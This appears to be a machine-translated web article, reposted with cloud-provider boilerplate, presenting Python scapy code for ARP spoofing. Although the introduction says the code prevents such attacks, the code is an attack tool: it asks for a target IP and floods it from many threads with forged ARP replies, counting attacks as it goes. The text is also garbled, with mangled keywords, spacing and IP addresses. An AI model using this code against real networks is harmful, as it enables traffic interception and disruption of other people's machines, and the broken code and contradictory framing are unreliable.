Analysis of arp spoofing attack code sent by python

Source: Internet
Author: User
This article mainly introduces how to send arp spoofing attacks in python. the following code prevents such attacks:


#-*-Coding: cp936 -*-
From scapy. all import *
From threading import Thread, Lock, activeCount

BROADCASTMAC = getmacbyip ('192. 168.0.120 ')

Class Loop (Thread ):
Def _ init _ (self, ip ):
Thread. _ init _ (self)
Self. ip = ip

Def run (self ):
Global BROADCASTMAC
Arp = ARP ()
Arp. psrc = '192. 168.0.20'
Arp. hwsrc = BROADCASTMAC
Arp. pdst = self. ip
Arp. op = 2
Sr1 (arp, verbose = 0, retry = 0, timeout = 3)

Class Main (Thread ):
Def _ init _ (self, ip ):
Thread. _ init _ (self)
Self. ip = ip

Def run (self ):
Limit = 100
Total = 0
While True:
If activeCount () <limit:
Loop (self. ip). start ()
Total = total + 1
Print 'The number of ARP attacks has been performed:' + str (total)

If _ name _ = '_ main __':
Ip = raw_input ('Enter the IP address of the machine for ARP attack :')

Main (ip = ip). start ()

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.